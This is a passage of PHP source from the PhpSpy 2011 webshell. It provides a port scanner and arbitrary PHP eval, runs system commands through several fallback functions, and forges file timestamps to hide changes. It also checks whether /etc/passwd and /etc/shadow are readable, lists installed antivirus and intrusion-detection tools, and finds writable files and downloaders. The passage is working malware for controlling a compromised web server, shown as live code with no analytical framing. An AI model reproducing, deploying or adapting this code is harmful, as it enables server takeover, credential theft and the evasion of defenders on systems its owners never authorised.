2607 !$scanport && $scanport = '21,25,80,110,135,139,445,1433,3306,3389,5631,43958';
2608
2609 formhead(array('title'=>'Port Scan'));
2610
2611 makehide('action','portscan');
2612
2613 p('<p>');
2614
2615 p('IP:');
2616
2617 makeinput(array('name'=>'scanip','size'=>20,'value'=>$scanip));
2618
2619 p('Port:');
2620
2621 makeinput(array('name'=>'scanport','size'=>80,'value'=>$scanport));
2622
2623 makeinput(array('name'=>'startscan','value'=>'Scan','type'=>'submit','class'=>'bt'));
2624
2625 p('</p>');
2626
2627 formfoot();
2628
2629
2630
2631 if ($startscan) {
2632
2633 p('<h2>Result »</h2>');
2634
2635 p('<ul class="info">');
2636
2637 foreach(explode(',', $scanport) as $port) {
2638
2639 $fp = fsockopen($scanip, $port, $errno, $errstr, 1);
2640
2641 if (!$fp) {
2642
2643 p('<li>'.$scanip.':'.$port.' ------------------------ <span style="font-weight:bold;color:#f00;">Close</span></li>');
2644
2645 } else {
2646
2647 p('<li>'.$scanip.':'.$port.' ------------------------ <span style="font-weight:bold;color:#080;">Open</span></li>');
2648
2649 @fclose($fp);
2650
2651 }
2652
2653 }
2654
2655 p('</ul>');
2656
2657 }
2658
2659}
2660
2661
2662
2663elseif ($action == 'eval') {
2664
2665 $phpcode = trim($phpcode);
2666
2667 if($phpcode){
2668
2669 if (!preg_match('#<\?#si', $phpcode)) {
2670
2671 $phpcode = "<?php\n\n{$phpcode}\n\n?>";
2672
2673 }
2674
2675 eval("?".">$phpcode<?");
2676
2677 }
2678
2679 formhead(array('title'=>'Eval PHP Code'));
2680
2681 makehide('action','eval');
2682
2683 maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
2684
2685 p('<p><a href="http://w'.'ww.4ng'.'el.net/php'.'spy/pl'.'ugin/" target="_blank">Get plugins</a></p>');
2686
2687 formfooter();
2688
2689}//end eval
2690
2691
2692
2693elseif ($action == 'editfile') {
2694
2695 if(file_exists($opfile)) {
2696
2697 $fp=@fopen($opfile,'r');
2698
2699 $contents=@fread($fp, filesize($opfile));
2700
2701 @fclose($fp);
2702
2703 $contents=htmlspecialchars($contents);
2704
2705 }
2706
2707 formhead(array('title'=>'Create / Edit File'));
2708
2709 makehide('action','file');
2710
2711 makehide('dir',$nowpath);
2712
2713 makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
2714
2715 maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
2716
2717 formfooter();
2718
2719
2720
2721 goback();
2722
2723
2724
2725}//end editfile
2726
2727
2728
2729elseif ($action == 'newtime') {
2730
2731 $opfilemtime = @filemtime($opfile);
2732
2733 //$time = strtotime("$year-$month-$day $hour:$minute:$second");
2734
2735 $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
2736
2737 formhead(array('title'=>'Clone folder/file was last modified time'));
2738
2739 makehide('action','file');
2740
2741 makehide('dir',$nowpath);
2742
2743 makeinput(array('title'=>'Alter folder/file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
2744
2745 makeinput(array('title'=>'Reference folder/file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
2746
2747 formfooter();
2748
2749 formhead(array('title'=>'Set last modified'));
2750
2751 makehide('action','file');
2752
2753 makehide('dir',$nowpath);
2754
2755 makeinput(array('title'=>'Current folder/file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
2756
2757 p('<p>year:');
2758
2759 makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
2760
2761 p('month:');
2762
2763 makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
2764
2765 p('day:');
2766
2767 makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
2768
2769 p('hour:');
2770
2771 makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
2772
2773 p('minute:');
2774
2775 makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
2776
2777 p('second:');
2778
2779 makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
2780
2781 p('</p>');
2782
2783 formfooter();
2784
2785 goback();
2786
2787}//end newtime
2788
2789
2790
2791elseif ($action == 'shell') {
2792
2793 if (IS_WIN && IS_COM) {
2794
2795 if($program && $parameter) {
2796
2797 $shell= new COM('Shell.Application');
2798
2799 $a = $shell->ShellExecute($program,$parameter);
2800
2801 m('Program run has '.(!$a ? 'success' : 'fail'));
2802
2803 }
2804
2805 !$program && $program = 'c:\windows\system32\cmd.exe';
2806
2807 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
2808
2809 formhead(array('title'=>'Execute Program'));
2810
2811 makehide('action','shell');
2812
2813 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
2814
2815 p('<p>');
2816
2817 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
2818
2819 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
2820
2821 p('</p>');
2822
2823 formfoot();
2824
2825 }
2826
2827 formhead(array('title'=>'Execute Command'));
2828
2829 makehide('action','shell');
2830
2831 if (IS_WIN && IS_COM) {
2832
2833 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
2834
2835 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
2836
2837 }
2838
2839 p('<p>');
2840
2841 makeinput(array('title'=>'Command','name'=>'command','value'=>htmlspecialchars($command)));
2842
2843 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
2844
2845 p('</p>');
2846
2847 formfoot();
2848
2849
2850
2851 if ($command) {
2852
2853 p('<hr width="100%" noshade /><pre>');
2854
2855 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
2856
2857 $wsh = new COM('WScript.shell');
2858
2859 $exec = $wsh->exec('cmd.exe /c '.$command);
2860
2861 $stdout = $exec->StdOut();
2862
2863 $stroutput = $stdout->ReadAll();
2864
2865 echo $stroutput;
2866
2867 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
2868
2869 $descriptorspec = array(
2870
2871 0 => array('pipe', 'r'),
2872
2873 1 => array('pipe', 'w'),
2874
2875 2 => array('pipe', 'w')
2876
2877 );
2878
2879 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
2880
2881 if (is_resource($process)) {
2882
2883 fwrite($pipes[0], $command."\r\n");
2884
2885 fwrite($pipes[0], "exit\r\n");
2886
2887 fclose($pipes[0]);
2888
2889 while (!feof($pipes[1])) {
2890
2891 echo fgets($pipes[1], 1024);
2892
2893 }
2894
2895 fclose($pipes[1]);
2896
2897 while (!feof($pipes[2])) {
2898
2899 echo fgets($pipes[2], 1024);
2900
2901 }
2902
2903 fclose($pipes[2]);
2904
2905 proc_close($process);
2906
2907 }
2908
2909 } else {
2910
2911 echo(execute($command));
2912
2913 }
2914
2915 p('</pre>');
2916
2917 }
2918
2919}//end shell
2920
2921
2922
2923elseif ($action == 'phpenv') {
2924
2925 $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
2926
2927 $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
2928
2929 !$dis_func && $dis_func = 'No';
2930
2931 $info = array(
2932
2933 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
2934
2935 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
2936
2937 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
2938
2939 4 => array('Server OS',PHP_OS),
2940
2941 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
2942
2943 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
2944
2945 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
2946
2947 8 => array('PHP run mode',strtoupper(php_sapi_name())),
2948
2949 9 => array('The file path',__FILE__),
2950
2951
2952
2953 10 => array('PHP Version',PHP_VERSION),
2954
2955 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:g(\'phpinfo\');">Yes</a>' : 'No')),
2956
2957 12 => array('Safe Mode',getcfg('safe_mode')),
2958
2959 13 => array('Administrator',$adminmail),
2960
2961 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
2962
2963 15 => array('enable_dl',getcfg('enable_dl')),
2964
2965 16 => array('display_errors',getcfg('display_errors')),
2966
2967 17 => array('register_globals',getcfg('register_globals')),
2968
2969 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
2970
2971 19 => array('memory_limit',getcfg('memory_limit')),
2972
2973 20 => array('post_max_size',getcfg('post_max_size')),
2974
2975 21 => array('upload_max_filesize',$upsize),
2976
2977 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
2978
2979 23 => array('disable_functions',$dis_func),
2980
2981 );
2982
2983
2984
2985 if($phpvarname) {
2986
2987 m($phpvarname .' : '.getcfg($phpvarname));
2988
2989 }
2990
2991
2992
2993 formhead(array('title'=>'Server environment'));
2994
2995 makehide('action','phpenv');
2996
2997 makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
2998
2999 formfooter();
3000
3001
3002
3003 $hp = array(0=> 'Server', 1=> 'PHP');
3004
3005 for($a=0;$a<2;$a++) {
3006
3007 p('<h2>'.$hp[$a].' »</h2>');
3008
3009 p('<ul class="info">');
3010
3011 if ($a==0) {
3012
3013 for($i=1;$i<=9;$i++) {
3014
3015 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
3016
3017 }
3018
3019 } elseif ($a == 1) {
3020
3021 for($i=10;$i<=23;$i++) {
3022
3023 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
3024
3025 }
3026
3027 }
3028
3029 p('</ul>');
3030
3031 }
3032
3033}//end phpenv
3034
3035
3036
3037elseif ($action == 'secinfo') {
3038
3039
3040
3041 secparam('Server software', @getenv('SERVER_SOFTWARE'));
3042
3043 secparam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
3044
3045 secparam('Open base dir', @ini_get('open_basedir'));
3046
3047 secparam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
3048
3049 secparam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
3050
3051 secparam('cURL support', function_exists('curl_version')?'enabled':'no');
3052
3053 $temp=array();
3054
3055 if(function_exists('mysql_get_client_info'))
3056
3057 $temp[] = "MySql (".mysql_get_client_info().")";
3058
3059 if(function_exists('mssql_connect'))
3060
3061 $temp[] = "MSSQL";
3062
3063 if(function_exists('pg_connect'))
3064
3065 $temp[] = "PostgreSQL";
3066
3067 if(function_exists('oci_connect'))
3068
3069 $temp[] = "Oracle";
3070
3071 secparam('Supported databases', implode(', ', $temp));
3072
3073
3074
3075 if( !IS_WIN ) {
3076
3077 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
3078
3079 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
3080
3081 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
3082
3083 secparam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes" : 'no');
3084
3085 secparam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes" : 'no');
3086
3087 secparam('OS version', @file_get_contents('/proc/version'));
3088
3089 secparam('Distr name', @file_get_contents('/etc/issue.net'));
3090
3091 $safe_mode = @ini_get('safe_mode');
3092
3093 if(!$GLOBALS['safe_mode']) {
3094
3095 $temp=array();
3096
3097 foreach ($userful as $item)
3098
3099 if(which($item)){$temp[]=$item;}
3100
3101 secparam('Userful', implode(', ',$temp));
3102
3103 $temp=array();
3104
3105 foreach ($danger as $item)
3106
3107 if(which($item)){$temp[]=$item;}
3108
3109 secparam('Danger', implode(', ',$temp));
3110
3111 $temp=array();
3112
3113 foreach ($downloaders as $item)
3114
3115 if(which($item)){$temp[]=$item;}
3116
3117 secparam('Downloaders', implode(', ',$temp));
3118
3119 secparam('Hosts', @file_get_contents('/etc/hosts'));
3120
3121 secparam('HDD space', execute('df -h'));
3122
3123 secparam('Mount options', @file_get_contents('/etc/fstab'));
3124
3125 }
3126
3127 } else {
3128
3129 secparam('OS Version',execute('ver'));
3130
3131 secparam('Account Settings',execute('net accounts'));
3132
3133 secparam('User Accounts',execute('net user'));
3134
3135 secparam('IP Configurate',execute('ipconfig -all'));
3136
3137 }
3138
3139}//end
3140
3141
3142
3143else {
3144
3145 m('Undefined Action');
3146
3147}
3148
3149
3150
3151?>
3152
3153</td></tr></table>
3154
3155<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
3156
3157 <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
3158
3159 Powered by <a title="Build 20110502" href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> 2011</a>. Copyright (C) 2004-2011 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
3160
3161</div>
3162
3163</body>
3164
3165</html>
3166
3167
3168
3169<?php
3170
3171
3172
3173/*======================================================
3174
3175???
3176
3177======================================================*/
3178
3179
3180
3181function secparam($n, $v) {
3182
3183 $v = trim($v);
3184
3185 if($v) {
3186
3187 p('<h2>'.$n.' »</h2>');
3188
3189 p('<div class="infolist">');
3190
3191 if(strpos($v, "\n") === false)
3192
3193 p($v.'<br />');
3194
3195 else
3196
3197 p('<pre>'.$v.'</pre>');
3198
3199 p('</div>');
3200
3201 }
3202
3203}
3204
3205function m($msg) {
3206
3207 echo '<div style="margin:10px auto 15px auto;background:#ffffe0;border:1px solid #e6db55;padding:10px;font:14px;text-align:center;font-weight:bold;">';
3208
3209 echo $msg;
3210
3211 echo '</div>';
3212
3213}
3214
3215function scookie($key, $value, $life = 0, $prefix = 1) {
3216
3217 global $timestamp, $_SERVER, $cookiepre, $cookiedomain, $cookiepath, $cookielife;
3218
3219 $key = ($prefix ? $cookiepre : '').$key;
3220
3221 $life = $life ? $life : $cookielife;
3222
3223 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
3224
3225 setcookie($key, $value, $timestamp+$life, $cookiepath, $cookiedomain, $useport);
3226
3227}
3228
3229function multi($num, $perpage, $curpage, $tablename) {
3230
3231 $multipage = '';
3232
3233 if($num > $perpage) {
3234
3235 $page = 10;
3236
3237 $offset = 5;
3238
3239 $pages = @ceil($num / $perpage);
3240
3241 if($page > $pages) {
3242
3243 $from = 1;
3244
3245 $to = $pages;
3246
3247 } else {
3248
3249 $from = $curpage - $offset;
3250
3251 $to = $curpage + $page - $offset - 1;
3252
3253 if($from < 1) {
3254
3255 $to = $curpage + 1 - $from;
3256
3257 $from = 1;
3258
3259 if(($to - $from) < $page && ($to - $from) < $pages) {
3260
3261 $to = $page;
3262
3263 }
3264
3265 } elseif($to > $pages) {
3266
3267 $from = $curpage - $pages + $to;
3268
3269 $to = $pages;
3270
3271 if(($to - $from) < $page && ($to - $from) < $pages) {
3272
3273 $from = $pages - $page + 1;
3274
3275 }
3276
3277 }
3278
3279 }
3280
3281 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
3282
3283 for($i = $from; $i <= $to; $i++) {
3284
3285 $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
3286
3287 }
3288
3289 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
3290
3291 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
3292
3293 }
3294
3295 return $multipage;
3296
3297}
3298
3299// ????
3300
3301function loginpage() {
3302
3303?>
3304
3305 <style type="text/css">
3306
3307 input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
3308
3309 </style>
3310
3311 <form method="POST" action="">
3312
3313 <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
3314
3315 <input type="hidden" name="action" value="login">
3316
3317 <input type="submit" value="Login">
3318
3319 </form>
3320
3321<?php
3322
3323 exit;
3324
3325}//end loginpage()
3326
3327
3328
3329function execute($cfe) {
3330
3331 $res = '';
3332
3333 if ($cfe) {
3334
3335 if(function_exists('system')) {
3336
3337 @ob_start();
3338
3339 @system($cfe);
3340
3341 $res = @ob_get_contents();
3342
3343 @ob_end_clean();
3344
3345 } elseif(function_exists('passthru')) {
3346
3347 @ob_start();
3348
3349 @passthru($cfe);
3350
3351 $res = @ob_get_contents();
3352
3353 @ob_end_clean();
3354
3355 } elseif(function_exists('shell_exec')) {
3356
3357 $res = @shell_exec($cfe);
3358
3359 } elseif(function_exists('exec')) {
3360
3361 @exec($cfe,$res);
3362
3363 $res = join("\n",$res);
3364
3365 } elseif(@is_resource($f = @popen($cfe,"r"))) {
3366
3367 $res = '';
3368
3369 while(!@feof($f)) {
3370
3371 $res .= @fread($f,1024);
3372
3373 }
3374
3375 @pclose($f);
3376
3377 }
3378
3379 }
3380
3381 return $res;
3382
3383}
3384
3385function which($pr) {
3386
3387 $path = execute("which $pr");
3388
3389 return ($path ? $path : $pr);
3390
3391}
3392
3393
3394
3395function cf($fname,$text){
3396
3397 if($fp=@fopen($fname,'w')) {
3398
3399 @fputs($fp,@base64_decode($text));
3400
3401 @fclose($fp);
3402
3403 }
3404
3405}
3406
3407function dirsize($dir) {
3408
3409 $dh = @opendir($dir);
3410
3411 $size = 0;
3412
3413 while($file = @readdir($dh)) {
3414
3415 if ($file != '.' && $file != '..') {
3416
3417 $path = $dir.'/'.$file;
3418
3419 $size += @is_dir($path) ? dirsize($path) : @filesize($path);
3420
3421 }
3422
3423 }
3424
3425 @closedir($dh);
3426
3427 return $size;
3428
3429}
3430
3431// ??????
3432
3433function debuginfo() {
3434
3435 global $starttime;
3436
3437 $mtime = explode(' ', microtime());
3438
3439 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
3440
3441 echo 'Processed in '.$totaltime.' second(s)';
3442
3443}
3444
3445
3446
3447//??MYSQL???
3448
3449function mydbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
3450
3451 global $charsetdb;
3452
3453 @ini_set('mysql.connect_timeout', 5);
3454
3455 if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
3456
3457 p('<h2>Can not connect to MySQL server</h2>');
3458
3459 exit;
3460
3461 }
3462
3463 if($link && $dbname) {
3464
3465 if (!@mysql_select_db($dbname, $link)) {
3466
3467 p('<h2>Database selected has error</h2>');
3468
3469 exit;
3470
3471 }
3472
3473 }
3474
3475 if($link && mysql_get_server_info() > '4.1') {
3476
3477 if($charset && in_array(strtolower($charset), $charsetdb)) {
3478
3479 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
3480
3481 }
3482
3483 }
3484
3485 return $link;
3486
3487}
3488
3489
3490
3491// ??????
3492
3493function s_array(&$array) {
3494
3495 if (is_array($array)) {
3496
3497 foreach ($array as $k => $v) {
3498
3499 $array[$k] = s_array($v);
3500
3501 }
3502
3503 } else if (is_string($array)) {
3504
3505 $array = stripslashes($array);
3506
3507 }
3508
3509 return $array;
3510
3511}
3512
3513
3514
3515// ??HTML??
3516
3517function html_clean($content) {
3518
3519 $content = htmlspecialchars($content);
3520
3521 $content = str_replace("\n", "<br />", $content);
3522
3523 $content = str_replace(" ", " ", $content);
3524
3525 $content = str_replace("\t", " ", $content);
3526
3527 return $content;
3528
3529}
3530
3531
3532
3533// ????
3534
3535function getChmod($filepath){
3536
3537 return substr(base_convert(@fileperms($filepath),10,8),-4);
3538
3539}
3540
3541
3542
3543function getPerms($filepath) {
3544
3545 $mode = @fileperms($filepath);
3546
3547 if (($mode & 0xC000) === 0xC000) {$type = 's';}
3548
3549 elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
3550
3551 elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
3552
3553 elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
3554
3555 elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
3556
3557 elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
3558
3559 elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
3560
3561 else {$type = '?';}
3562
3563
3564
3565 $owner['read'] = ($mode & 00400) ? 'r' : '-';
3566
3567 $owner['write'] = ($mode & 00200) ? 'w' : '-';
3568
3569 $owner['execute'] = ($mode & 00100) ? 'x' : '-';
3570
3571 $group['read'] = ($mode & 00040) ? 'r' : '-';
3572
3573 $group['write'] = ($mode & 00020) ? 'w' : '-';
3574
3575 $group['execute'] = ($mode & 00010) ? 'x' : '-';
3576
3577 $world['read'] = ($mode & 00004) ? 'r' : '-';
3578
3579 $world['write'] = ($mode & 00002) ? 'w' : '-';
3580
3581 $world['execute'] = ($mode & 00001) ? 'x' : '-';
3582
3583
3584
3585 if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
3586
3587 if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
3588
3589 if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
3590
3591
3592
3593 return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
3594
3595}
3596
3597
3598
3599function getUser($filepath) {
3600
3601 if (function_exists('posix_getpwuid')) {
3602
3603 $array = @posix_getpwuid(@fileowner($filepath));
3604
3605 if ($array && is_array($array)) {
3606
3607 return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';
3608
3609 }
3610
3611 }
3612
3613 return '';
3614
3615}
3616
3617
3618
3619// ????
3620
3621function deltree($deldir) {
3622
3623 $mydir=@dir($deldir);
3624
3625 while($file=$mydir->read()) {
3626
3627 if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
3628
3629 @chmod($deldir.'/'.$file,0777);
3630
3631 deltree($deldir.'/'.$file);
3632
3633 }
3634
3635 if (is_file($deldir.'/'.$file)) {
3636
3637 @chmod($deldir.'/'.$file,0777);
3638
3639 @unlink($deldir.'/'.$file);
3640
3641 }
3642
3643 }
3644
3645 $mydir->close();
3646
3647 @chmod($deldir,0777);
3648
3649 return @rmdir($deldir) ? 1 : 0;
3650
3651}
3652
3653
3654
3655// ??????????
3656
3657function bg() {
3658
3659 global $bgc;
3660
3661 return ($bgc++%2==0) ? 'alt1' : 'alt2';
3662
3663}
3664
3665
3666
3667// ???????????
3668
3669function getPath($scriptpath, $nowpath) {
3670
3671 if ($nowpath == '.') {
3672
3673 $nowpath = $scriptpath;
3674
3675 }
3676
3677 $nowpath = str_replace('\\', '/', $nowpath);
3678
3679 $nowpath = str_replace('//', '/', $nowpath);
3680
3681 if (substr($nowpath, -1) != '/') {
3682
3683 $nowpath = $nowpath.'/';
3684
3685 }
3686
3687 return $nowpath;
3688
3689}
3690
3691
3692
3693// ???????????
3694
3695function getUpPath($nowpath) {
3696
3697 $pathdb = explode('/', $nowpath);
3698
3699 $num = count($pathdb);
3700
3701 if ($num > 2) {
3702
3703 unset($pathdb[$num-1],$pathdb[$num-2]);
3704
3705 }
3706
3707 $uppath = implode('/', $pathdb).'/';
3708
3709 $uppath = str_replace('//', '/', $uppath);
3710
3711 return $uppath;
3712
3713}
3714
3715
3716
3717// ??PHP????
3718
3719function getcfg($varname) {
3720
3721 $result = get_cfg_var($varname);
3722
3723 if ($result == 0) {
3724
3725 return 'No';
3726
3727 } elseif ($result == 1) {
3728
3729 return 'Yes';
3730
3731 } else {
3732
3733 return $result;
3734
3735 }
3736
3737}
3738
3739
3740
3741// ??????
3742
3743function getfun($funName) {
3744
3745 return (false !== function_exists($funName)) ? 'Yes' : 'No';
3746
3747}
3748
3749
3750
3751// ???????
3752
3753function getext($file) {
3754
3755 $info = pathinfo($file);
3756
3757 return $info['extension'];
3758
3759}
3760
3761
3762
3763function GetWDirList($dir){
3764
3765 global $dirdata,$j,$nowpath;
3766
3767 !$j && $j=1;
3768
3769 if ($dh = opendir($dir)) {
3770
3771 while ($file = readdir($dh)) {
3772
3773 $f=str_replace('//','/',$dir.'/'.$file);
3774
3775 if($file!='.' && $file!='..' && is_dir($f)){
3776
3777 if (is_writable($f)) {
3778
3779 $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
3780
3781 $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
3782
3783 $dirdata[$j]['dirchmod']=getChmod($f);
3784
3785 $dirdata[$j]['dirperm']=getPerms($f);
3786
3787 $dirdata[$j]['dirlink']=$dir;
3788
3789 $dirdata[$j]['server_link']=$f;
3790
3791 $j++;
3792
3793 }
3794
3795 GetWDirList($f);
3796
3797 }
3798
3799 }
3800
3801 closedir($dh);
3802
3803 clearstatcache();
3804
3805 return $dirdata;
3806
3807 } else {
3808
3809 return array();
3810
3811 }
3812
3813}
3814
3815
3816
3817function GetWFileList($dir){
3818
3819 global $filedata,$j,$nowpath, $writabledb;
3820
3821 !$j && $j=1;
3822
3823 if ($dh = opendir($dir)) {
3824
3825 while ($file = readdir($dh)) {
3826
3827 $ext = getext($file);
3828
3829 $f=str_replace('//','/',$dir.'/'.$file);
3830
3831 if($file!='.' && $file!='..' && is_dir($f)){
3832
3833 GetWFileList($f);
3834
3835 } elseif($file!='.' && $file!='..' && is_file($f) && in_array($ext, explode(',', $writabledb))){
3836
3837 if (is_writable($f)) {
3838
3839 $filedata[$j]['filename']=str_replace($nowpath,'',$f);
3840
3841 $filedata[$j]['size']=sizecount(@filesize($f));
3842
3843 $filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
3844
3845 $filedata[$j]['filechmod']=getChmod($f);
3846
3847 $filedata[$j]['fileperm']=getPerms($f);
3848
3849 $filedata[$j]['fileowner']=getUser($f);
3850
3851 $filedata[$j]['dirlink']=$dir;
3852
3853 $filedata[$j]['server_link']=$f;
3854
3855 $j++;
3856
3857 }
3858
3859 }
3860
3861 }
3862
3863 closedir($dh);
3864
3865 clearstatcache();
3866
3867 return $filedata;
3868
3869 } else {
3870
3871 return array();
3872
3873 }
3874
3875}
3876
3877
3878
3879function GetSFileList($dir, $content, $re = 0) {
3880
3881 global $filedata,$j,$nowpath, $writabledb;
3882
3883 !$j && $j=1;
3884
3885 if ($dh = opendir($dir)) {
3886
3887 while ($file = readdir($dh)) {
3888
3889 $ext = getext($file);
3890
3891 $f=str_replace('//','/',$dir.'/'.$file);
3892
3893 if($file!='.' && $file!='..' && is_dir($f)){
3894
3895 GetSFileList($f, $content, $re = 0);
3896
3897 } elseif($file!='.' && $file!='..' && is_file($f) && in_array($ext, explode(',', $writabledb))){
3898
3899 $find = 0;
3900
3901 if ($re) {
3902
3903 if ( preg_match('@'.$content.'@',$file) || preg_match('@'.$content.'@', @file_get_contents($f)) ){
3904
3905 $find = 1;
3906
3907 }
3908
3909 } else {
3910
3911 if ( strstr($file, $content) || strstr( @file_get_contents($f),$content ) ) {
3912
3913 $find = 1;
3914
3915 }
3916
3917 }
3918
3919 if ($find) {
3920
3921 $filedata[$j]['filename']=str_replace($nowpath,'',$f);
3922
3923 $filedata[$j]['size']=sizecount(@filesize($f));
3924
3925 $filedata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
3926
3927 $filedata[$j]['filechmod']=getChmod($f);
3928
3929 $filedata[$j]['fileperm']=getPerms($f);
3930
3931 $filedata[$j]['fileowner']=getUser($f);
3932
3933 $filedata[$j]['dirlink']=$dir;
3934
3935 $filedata[$j]['server_link']=$f;
3936
3937 $j++;
3938
3939 }
3940
3941 }
3942
3943 }
3944
3945 closedir($dh);
3946
3947 clearstatcache();
3948
3949 return $filedata;
3950
3951 } else {
3952
3953 return array();
3954
3955 }
3956
3957}
3958
3959
3960
3961function qy($sql) {
3962
3963 global $mysqllink;
3964
3965 //echo $sql.'<br>';
3966
3967 $res = $error = '';
3968
3969 if(!$res = @mysql_query($sql,$mysqllink)) {
3970
3971 return 0;
3972
3973 } else if(is_resource($res)) {
3974
3975 return 1;
3976
3977 } else {
3978
3979 return 2;
3980
3981 }
3982
3983 return 0;
3984
3985}
3986
3987
3988
3989function q($sql) {
3990
3991 global $mysqllink;
3992
3993 return @mysql_query($sql,$mysqllink);
3994
3995}
3996
3997
3998
3999function fr($qy){
4000
4001 mysql_free_result($qy);
4002
4003}
4004
4005
4006
4007function loadsettings($p1 = '', $p2 = '') {
4008
